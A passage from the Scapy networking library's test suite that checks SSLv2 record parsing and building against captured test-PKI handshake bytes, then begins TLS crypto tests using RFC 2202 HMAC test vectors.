b'\x83\xc0\x04\x00\x01\x00\x02\x03\xa2\x00\x03\x00\x100\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x02\x00\x809\x19R\xa4\xab)\x93\x94\xcd\x8a,^\x03\xb9\xf1\x80' mk = b"\x81\x15\x02\x02\x00\x80\x00\x0b\x01\x00\x00\x00~\xc2\xf9\x9e\x94i\x02\xfe\xed\xc4\xdc\x9b\xe0\xe7 \xa8\xcct'\xf7\xc3\x05\xfc\xa5^\x13\xdc\xaa\xf6\xfa\x88\x9f\xf9\x89\xc5@\x86\xfe\xe3\xe0\x88\xd8\x02B%5\x8e\xeaV\xd9\x08\xd2In\x9aY\xca\x87\x86k\xdf\xc3W\x13x\xff\x98\xb9!bU9\x07R.i\xce\x19\xf0\xa0\xc0\x1af\x87\\M&4\x8d\xa8G\xc1\xcd\x1d\x8a\x95F\t\xba\x07\x193\xb44\x8f\xbd+\xbdmz\xd0\x11\xa3\xbd9\xaaU\xbd\xfcX\xbb\xf0%V\x1e\xae\xd1\xf3\xe9\xa0\xd7\x19E\r\xac\xad\xde/mc\xa4\xb0\xb0\x12No\xd9\xf5\xd9\xb4\xcb\xa7\xa5\t\xa6\xb9L,\x07\xfc\x9f>m4\x96\xadlS\xf1b\xdeo\xa2\xb6Hh\x85\xc5P\xec\x89i \xf7\xd6\xa0h\xa7\xa4\x95\x8dL\x16\xde_\x14\xe3\x18\xb2\x05\x1a1g\xdd\x9f\xd0\x06\x16\x06\x8c\xd4\xcc\x8a\x89\xbc\x9c6\xa9\xa1\xa8+5\x19g\xd6\x83\x1f\xe0\xd8j\x1a\x98!\x95Y\xbb\x1et\x1e2-\xab\xf8\xe3\xb7d\x92\xbe\xb0\x1a\xcf\x84G\xcc\xf4}\x01\x9eq\x14`q*z\xeaW." sv = b'\x80!\xc5\x84A`t1\xc3\xeaZ\xea\xdf\xd9\x87e_\xb9j`Yb\xbc\xbc\x08\xf5\x9c\x9b\xe6\xfaF\xa0\x87\x02\x07' cf = b'\x80!w\xa2\x88\x83uv\xd5|\xde\xbdoz\xba&^O\xda\x82k\x01L_xSx\x08\xe0\x1a\xaf\xa0\x07\x93\xa5' rc = b'\x80"\xfe\x03\xe0$\xec{\x08-\xe9h\xf7\xc9(i\xa6N\xd8\xaa\xe3\xb2;\xf1\xfd\xf5+\x80\xa9\x1a*\xb3Z\xa7\xbe\xde' cc = b'\x84\xb8\xe3j:\xc9\xa9OL\x9d\x08\xb7"\xf4)<\xf7\x0c\x92\x10{u\xd1\t\xccR(R\xc2\x02\xe0\n\x85i\xffJ\xb7\xc7\xf09\x98\x99\xde\x06\xd1\xe2\x1a\xeff[.`\x85\xf0_gs\x91\'\x0e\x82\x1b\xf6\x93\xf34m\x9d\xdc=\xf9\xeas\xac;\xe3\xcbB\xcf`\x899S"\xa8\xf9\x9b-\x07<\xfa\xf9|j\x11Z{\xa1\x1d\xd6\xf6\xdbgv\t\xa8\xa3[\x85\x82\x02^\x17\xd6\xcb\x8e\x08\xae\x87\xa1\x84\xec\x17\x0fuX,\xd4\x95\x98\x91\xea\xb3o4\x8a\xbc\x14\xfc"\x97\xfa_\xf9D\x0cB+\x07\x16K\x18&\x05x\x97.\xbc\xe1\xc4e\xb8S\xadwh\x8b\xeb\xe0\x10\x01\xd7\x08-\x81\xac\xff\xb2\x10\xcf\x14\x99VNw\xb618\xbd\xff\x18\x9c\xfb\x08\x07\xce{\x03b\x12\x81\x1d!t\xf9l\x84^d\x0eA\xdbj\xb7\xc6\x7f3\xf9t\x15\xa7)1\x95ko\xe6\x95\xd0\xbc\xe6S!"\xcaO>\x80\xad\xe0|\xb8+\xc4\x88me.\xe3O\xaf\xe2\x14k\xdc\x89\xe9\xc0O4\xa7\xc9\xb9\xe9a\xf7i\xb0\x1eH\xc7\x90\xe5ep\xa4\x8d2\x9d)MD\xb5\xc3\xc6G\xdd\xf3\x8f\x0e\xe0\xef\x17\x7f\x9f\x02\x02\xe7\xd7U\xc5\xfc+\x9d_\xf4\x1e#\x0e\x19\x9cX\xd4\xe6\x85\xe5\x1bR\xd2\xb1\xdf\x93K\xb9\xecD\xbbx\xda\x8f\x08u\xee\xad\xb6a\xc7\xb1\xed\xd7\xf9!/O\xb4\x17kg/D\xd7/\x9f\x1e\t\xf2\x9d\xc3i\xfb\xa9V\x19yme\xe8\xaa\x0e]\x7f\xff\xbf\xdc\xa5\xd8b\\\x14\x11f\xcdI\xe5\xb4\xc4\x0cl\x87z\xfb\xec\xbe\x06G\x05\xf5\xf7D.w[\xcf)}T\x13\x99]L\xeeg\xf1\x1f\xcc\xfc\xed\\\xf7Xh\xc5\x9f>}\xc0\xfb\xce=Ngr\x99\xcb6^\xdc\x86a\xb8w\xd8\xd5\x0e\xd7\x1f\xd7\x9d\xc52\x10 \xc4{\xb0\xb2\xc6\xdaJ3\xd1R\xd7\xe5\xc8\xe4e\xa6g[\xa5\xecVL\xf4\x15\x0b\x94\x81\xe2\x7fU\xff\xf9\x8c\x01\xf2\xc1\xae\xc7>\xe2U\x89\x92\xc4\t\x95@\x83}\x83\xca\xd2\xca\x02-.\xf9N&\xbb\xb3i\xba\xfe\xcf\x7f\xd6t\x03\xb8\x05~\xf89[@\xa0\xc5u\xf5\xe9\x89`jE9G1\xad\x18\xccQc(T\x1cc\xa98\x1e\xf4\xec\xac"\xed$3K\x1fM\xa1\xbc`3\x81k\x81\xc6|\xaeh\x86\xca\xde\x18h\n\x95\xb6M*MNNTugX\xfbC\xfe\xb9K\xf4\x01\xa0:S\x10\x9b\xf7\x1aW\x91\x86\xc7[\xf7r\xb8\xc2^P\xdf\x14\x90\xc3\x8d\x1f\xb0^\xe8\xd2\xd9\xd7i\x0e\xa1\x0b>\nr\xdcl\xce\x8a\x11\xd6(\xabq\xd6\x05\x1f9\x9c\x7f5\xacw\xb0L\x97J\n\x94\xac\x00\xda(-@\x0c\xc5\xd8\x86\x82\x91\xe2\t\xd7\xc9\xc0\xb0\x1fs4etn{\xfaE\xd4\xce\x9b\xc9\xd6B\xe9\xbd\xf1.\xd4\xf65\xb8[a\x80\x80?3\xa7\x0b\x05\xe3)\xd3r\xbdd\xe9\xd5+\x99\xcc\x0f,xi(\xbd@\xb2\x8b\xe4\xf8\x12\xebt\xd5\xdfg\xe1\xd4\x16+,\xa8e\xf3z\\\x15\xfc\xd0D\xfc\xad\xbc\xa5\xad\xa5\xad\xde\xb7"\x18?\x84\r\xe6\xb1\xd7io\xea\xf0\xaf\xe6;\xaf\xdc\xa5@\x7f7\x99\xe0\xd2\x00\x0f_\xcd\x12\xe5\xf7\x9b\xbd\x8b\xa6_\xf0\xe5B\xf5\x7f\x96\xa8B\xeff{,V\x83b\xc7Y\xe5Z|QE\xe3\x8e\xb9\xed=\x16\x9e\x9e\xdeW\xa7X\x10\x02:\xd2\x8bl~$\xc2\xd6\xec\xc5\xfa=)\x93\xe9gJ\x8f\xc9\xb5\xb5A\xd0\x11]\xb9;ks\xfba\x84\xa0\x94,W\x1e\x07\x1e\xc2j\xa1\x9f\x8d\xbb\xe2\xb9 \x0f\xac\x9b\xbb\xe1\x12\t7\x8eJ;\x9d\xd4\x15\x197\x97\xf7xo\xcdJ\x15(\x88`z\x00\xff\xd0R.:\xc9\x92\xcbY~\xc3\x8ex\xd7\xab\xf6q\x98x\x99\xf2R;# \x0e\x16F\x9b\x15\xff\x90\x08\x06F\x01\xb7\xcd\xa0\xbaM\xf8xy\x99W\xaa\x82\xcc70\x02\x97\x0e\xd8\xeb\xdeLk\xa4\xe8\xbb\x7f\x0fN\xc6>hTN\n\xe2\xb1\xcc\xb0\xbcH\x99\x83]\x0f\x84\x07\xf5\x1e\x079\xb0[\xd8\xc9I\x93\xa0-\x0c\xc2\xd8W\x13\xed;\r\xe0S\xe6\x82m<\x8b\x0c\xfd\xce\xd6\xecA\xe7Zm\xeb\x03\x9b%p\xfa\xb0\x8c^\x7f\xb5e\xa8\xb0\x7f\xbf\xcd\xbf\x1f3\xa3\xb3\xddZ\xb3\'\x1arO?\x16\x8a\x90\xb3n$\xd5\xa5\x91\xe2\x91\x00Qy\xdb\xcf\xc8\xd9xP\x92\xd3 \xfd\xb2R\xb7\xe0\x8f\x02\xcf\x15\xad3\xda\xa8\xe0}\xa0\x8c\xfb\xfe-\x14\xb3\x85E\xe6\x91@1\xb6\n\x90;\xb6\xbf\xbb\x16e{\xce\xaf\xd7\xdf\xac\xc9\xe7-,\xd0<\xf8L[f~\x13R\xf7\xaf\xff\xa3\xe1\x98\x93\x03V9\x04\x13y\xaa\x17=\xef\xe6`f\xb49\x8e3\xc8\xac\x81+}\x9a\xaf\xfbe\xa0J\xd2\xcb?\x870\xd9\x0e\x87\xa2\xe1YS\x06v\xc51\x18\x9a\x8b\xd5\xc8\xdd\x01y\xee\xab3\x16\xfd\x93\xc7\x1a8\xe9' sf = b'\x80!\xc9\x18i\x80\xfb\xe9\xea\xa7F\x83n\xaaP\xc0\x88\x8a\x03\xce"9p\xbcW\xb1r\xac\xcc\xb1\xaa\x08\x85\xb4\xe2' d1 = b'\x80C\x99\x83z\xc0\xdc\xe7\xf0I\x80\x8c\x8e\x1c\xc7bx\x98\xd3\x84\xd6\x06\xc8r\x9b\x197\xd2\xe9\x08\xc53s\x88 y\x8e)\x9f\xdcE*e\xb2r\xa2$\x06\xba[\xd7\xea,\x08\xc2\xae\xba\xf3\x10\xbf\xea\x08\x8flV\x11D\xc5L\xad3\xf9' assert s.rcs.cipher.key == b'\xba\xf3\x10\xbf\xea\x08\x8flV\x11D\xc5L\xad3\xf9' s.wcs.cipher.key == b'\xf4\xae\x00\x03kB>\x06\xba[\xd7\xea,\x08\xc2\xae' = Reading SSLv2 session - Record with ciphertext t = SSLv2(sv, tls_session=t.tls_session.mirror()) assert t.len == 33 assert not t.padlen assert t.mac == b'?:\xf3vE\xf3\xe83\x1a\xd0\xab\xba\xb6\x86\xe6\x89' not t.pad = Reading SSLv2 session - ServerVerify sv = t.msg[0] assert isinstance(sv, SSLv2ServerVerify) assert sv.msgtype == 5 sv.challenge == ch.challenge = Reading SSLv2 session - ClientFinished t = SSLv2(cf, tls_session=t.tls_session.mirror()) cf = t.msg[0] assert isinstance(cf, SSLv2ClientFinished) assert cf.msgtype == 3 cf.connection_id == sh.connection_id = Reading SSLv2 session - RequestCertificate t = SSLv2(rc, tls_session=t.tls_session.mirror()) rc = t.msg[0] assert isinstance(rc, SSLv2RequestCertificate) assert rc.msgtype == 7 assert rc.authtype == 1 rc.challenge == binascii.unhexlify('19619ddf7384d68e7a614ae1989ab41e') = Reading SSLv2 session - ClientCertificate t = SSLv2(cc, tls_session=t.tls_session.mirror()) cc = t.msg[0] assert isinstance(cc, SSLv2ClientCertificate) assert cc.msgtype == 8 assert cc.certtype == 1 assert cc.certlen == 930 assert cc.responselen == 256 assert isinstance(cc.certdata, Cert) assert len(cc.certdata.der) == 930 assert cc.certdata.subject_str == '/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Client' assert len(cc.responsedata.sig_val) == 256 cc.responsedata.sig_val[:4] == b"\x81#\x95\xb5" and cc.responsedata.sig_val[-4:] == b"RM6\xd3" = Reading SSLv2 session - ServerFinished t = SSLv2(sf, tls_session=t.tls_session.mirror()) sf = t.msg[0] assert isinstance(sf, SSLv2ServerFinished) assert sf.msgtype == 6 sf.sid == binascii.unhexlify('11c1e8070b2cf249ad3d85caf8854bc8') = Reading SSLv2 session - Application data t1 = SSLv2(d1, tls_session=t.tls_session.mirror()) data1 = t1.msg[0] assert isinstance(data1, Raw) assert data1.load == b'These are horrendous parameters for a TLS session.\n' t2 = SSLv2(d2, tls_session=t1.tls_session) data2 = t2.msg[0] assert isinstance(data2, Raw) data2.load == b'*nothing to do here*\n' = Reading SSLv2 session - Checking final sequence numbers t2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4 ############################################################################### ####################### TLS-related scapy internals ########################### ############################################################################### + Check TLS-related scapy internals = Check TLS-related scapy internals - Checking raw() harmlessness (with RC4) t1.show() assert t1.msg[0].load == b'These are horrendous parameters for a TLS session.\n' assert t1.tls_session.rcs.seq_num == 6 and t1.tls_session.wcs.seq_num == 4 d1 == raw(t1) = Check TLS-related scapy internals - Checking show2() harmlessness (with RC4) t2.show2() assert t2.msg[0].load == b'*nothing to do here*\n' assert t2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4 d2 == raw(t2) = Check TLS-related scapy internals - Checking show2() harmlessness (with 3DES) # These are also taken from a s_client/s_server session. ch = b'\x80.\x01\x00\x02\x00\x15\x00\x00\x00\x10\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80!2bc\x97^\xa3\r9\x14*\xe4\xd6\xd4\n\x1e' sh = b'\x83\xd2\x04\x00\x01\x00\x02\x03\xa2\x00\x15\x00\x100\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80\x03\xea\xd5\x88T&\xe7\\\xc9wM\x05\x1fo\xbf\xec' mk = b'\x81\x12\x02\x07\x00\xc0\x00\x00\x01\x00\x00\x08(\xc98#b\xc1\x94\x9e\xf1|\xd3\x98/\x84\xa6\xfb\x1e}b7\xf1\xfa9\xc3\xb4A\xe4\xb7\x97\xcd\x0c\xd4\x81\x82\xee\x8b\x80f]_\xbc\xe5\xeb\xe4}b\x82 \xa1S\xd5\xbe\xb3\xf7\xbb\x1c]zm\xe6\xc5\x95\xe3Y\x9d\x84b\xf2\x89\x08i\xf9"\x8d\xf7\xb9\xe3\xb5\xcb\x90\xc2V\xcel\x14\xb0\xd4-\xb3\xd3\xfe\x83\x8a(\x025\xd0Y\x9b4M\xde\xc6\x99{H\x89u.\xfa\x17\x13|\xd39\xf6sc\xaat\x9fy\xf69s9\xbfM\xdc\xcdT\x8d~U"\xdd\xce\xab\xfa\x0e\xa9\x90$s&\x0c8\xe4\x13b\x15\xc7\xc2\r#\xc96\x04{\x14\xd0\x19\xef\x13ql\x07\xbf\'\xfb\xdc\x14t\xf6I\xe6\x0b\xe7\xf2\xd6e\'%2H\x81\x16\x0bT;0\x95G%E\xc559p\x85S\x07\xbf\x03\xb0^\x06\xf0\xdcL\xd4\xf2\x9b\xf7\xc6T\xdb%MS\x8ch\xb5\x91H\xffF\xf0\xafCw\x1a:7\x1f\xf8\x05\x944\xc1p\xb6\x8e\x12.#,a\xd4s\xc7\x9f\xe5\xbf\xcb\xee\x1aS\xa71\x15\xf5pE' sv = b'\x00(\x07q\x8c\x08\xdb\xa8\xaa\x8d\x87\x0b\xe8\x01^\xed\x87\x8e\xb2\xc0\xa9\x84\x11v)~\xf8\xd9,\xea\xe2\x05\x86\x1d\x01n\xe1\xe6\xccE[\xcej' t = SSLv2(ch) t.show2() challenge = t.msg[0].challenge t = SSLv2(sh, tls_session=t.tls_session.mirror()) t.show2() t.tls_session.server_rsa_key = rsa_key t = SSLv2(mk, tls_session=t.tls_session.mirror()) t.show2() t.show2() t = SSLv2(sv, tls_session=t.tls_session.mirror()) t.show2() t.show2() assert t.padlen == 7 assert t.mac == b'\xe7\xe4\x08\x0e\x86\xc4\x93\t\x80l/\x80\xdaQ\xa0z' assert t.tls_session.rcs.seq_num == 2 assert t.tls_session.wcs.seq_num == 2 t.msg[0].challenge == challenge = Check TLS-related scapy internals - Checking tls_session freeze during show2() l = len(t.tls_session.handshake_messages) t.show2() l == len(t.tls_session.handshake_messages) = Check TLS-related scapy internals - Checking SSLv2 cast from TLS class t = TLS(ch) assert isinstance(t, SSLv2) t.msg[0].challenge == challenge ############################################################################### ######################### Building SSLv2 packets ############################## ############################################################################### + Build SSLv2 packets = Building SSLv2 packets - Various default messages raw(SSLv2()) raw(SSLv2Error()) raw(SSLv2ClientHello()) raw(SSLv2ServerHello()) raw(SSLv2ClientMasterKey()) raw(SSLv2ServerVerify()) raw(SSLv2ClientFinished()) raw(SSLv2RequestCertificate()) raw(SSLv2ClientCertificate()) raw(SSLv2ServerFinished()) = Building SSLv2 packets - Error within clear record t = SSLv2(msg=SSLv2Error(code='no_cipher')) raw(t) == b'\x80\x03\x00\x00\x01' = Building SSLv2 packets - ClientHello with automatic length computation ch_pkt = SSLv2ClientHello() ch_pkt.msgtype = 'client_hello' ch_pkt.version = 0x0002 ch_pkt.ciphers = [SSL_CK_DES_192_EDE3_CBC_WITH_MD5, SSL_CK_IDEA_128_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_WITH_MD5, SSL_CK_RC4_128_WITH_MD5, SSL_CK_DES_64_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5, SSL_CK_RC4_128_EXPORT40_WITH_MD5] ch_pkt.challenge = b'!2bc\x97^\xa3\r9\x14*\xe4\xd6\xd4\n\x1e' t = SSLv2(msg=ch_pkt) raw(t) == ch = Building SSLv2 packets - ClientMasterKey context linking mk = SSLv2ClientMasterKey(cipher='SSL_CK_DES_192_EDE3_CBC_WITH_MD5', clearkey=b'\xff'*19, encryptedkey=b'\0'*256, decryptedkey=b'\xaa'*5, keyarg=b'\x01'*8) t = SSLv2(msg=mk) t.tls_session.sslv2_connection_id = b'\xba'*16 t.tls_session.sslv2_challenge = b'\x42'*16 t.raw_stateful() s = t.tls_session assert s.master_secret == b'\xff'*19 + b'\xaa'*5 assert isinstance(s.rcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5) assert isinstance(s.wcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5) s.rcs.cipher.iv == b'\x01'*8 s.wcs.cipher.iv == b'\x01'*8 = Dissect invalid payload p = SSLv2() with no_debug_dissector(): p.do_dissect_payload(b'\x00') assert raw(p.payload) == b'\x00' ############################################################################### ############################ Automaton behaviour ############################## ############################################################################### # see scapy/layers/tls/clientserver.uts ================================================ FILE: test/scapy/layers/tls/tls.uts ================================================ % Tests for TLS module # # Try me with : # bash test/run_tests -t test/tls.uts -F ~ crypto ############################################################################### ################################### Crypto #################################### ############################################################################### ############################################################################### ### HMAC ### ############################################################################### + Test HMACs = Crypto - Hmac_MD5 instantiation, parameter check from scapy.layers.tls.crypto.h_mac import Hmac_MD5 a = Hmac_MD5("somekey") a.key_len == 16 and a.hmac_len == 16 = Crypto - Hmac_MD5 behavior on test vectors from RFC 2202 (+ errata) a = Hmac_MD5 t1 = a(b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b').digest("Hi There") == b'\x92\x94\x72\x7a\x36\x38\xbb\x1c\x13\xf4\x8e\xf8\x15\x8b\xfc\x9d' t2 = a('Jefe').digest('what do ya want for nothing?') == b'\x75\x0c\x78\x3e\x6a\xb0\xb5\x03\xea\xa8\x6e\x31\x0a\x5d\xb7\x38' t3 = a(b'\xaa'*16).digest(b'\xdd'*50) == b'\x56\xbe\x34\x52\x1d\x14\x4c\x88\xdb\xb8\xc7\x33\xf0\xe8\xb3\xf6' t4 = a(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19').digest(b'\xcd'*50) == b'\x69\x7e\xaf\x0a\xca\x3a\x3a\xea\x3a\x75\x16\x47\x46\xff\xaa\x79' t5 = a(b'\x0c'*16).digest("Test With Truncation") == b'\x56\x46\x1e\xf2\x34\x2e\xdc\x00\xf9\xba\xb9\x95\x69\x0e\xfd\x4c' t6 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key - Hash Key First") == b'\x6b\x1a\xb7\xfe\x4b\xd7\xbf\x8f\x0b\x62\xe6\xce\x61\xb9\xd0\xcd' t7 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data") == b'\x6f\x63\x0f\xad\x67\xcd\xa0\xee\x1f\xb1\xf5\x62\xdb\x3a\xa5\x3e' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - Hmac_SHA instantiation, parameter check from scapy.layers.tls.crypto.h_mac import Hmac_SHA a = Hmac_SHA("somekey") a.key_len == 20 and a.hmac_len == 20 = Crypto - Hmac_SHA behavior on test vectors from RFC 2202 (+ errata) a = Hmac_SHA t1 = a(b'\x0b'*20).digest("Hi There") == b'\xb6\x17\x31\x86\x55\x05\x72\x64\xe2\x8b\xc0\xb6\xfb\x37\x8c\x8e\xf1\x46\xbe\x00' t2 = a('Jefe').digest("what do ya want for nothing?") == b'\xef\xfc\xdf\x6a\xe5\xeb\x2f\xa2\xd2\x74\x16\xd5\xf1\x84\xdf\x9c\x25\x9a\x7c\x79' t3 = a(b'\xaa'*20).digest(b'\xdd'*50) == b'\x12\x5d\x73\x42\xb9\xac\x11\xcd\x91\xa3\x9a\xf4\x8a\xa1\x7b\x4f\x63\xf1\x75\xd3' t4 = 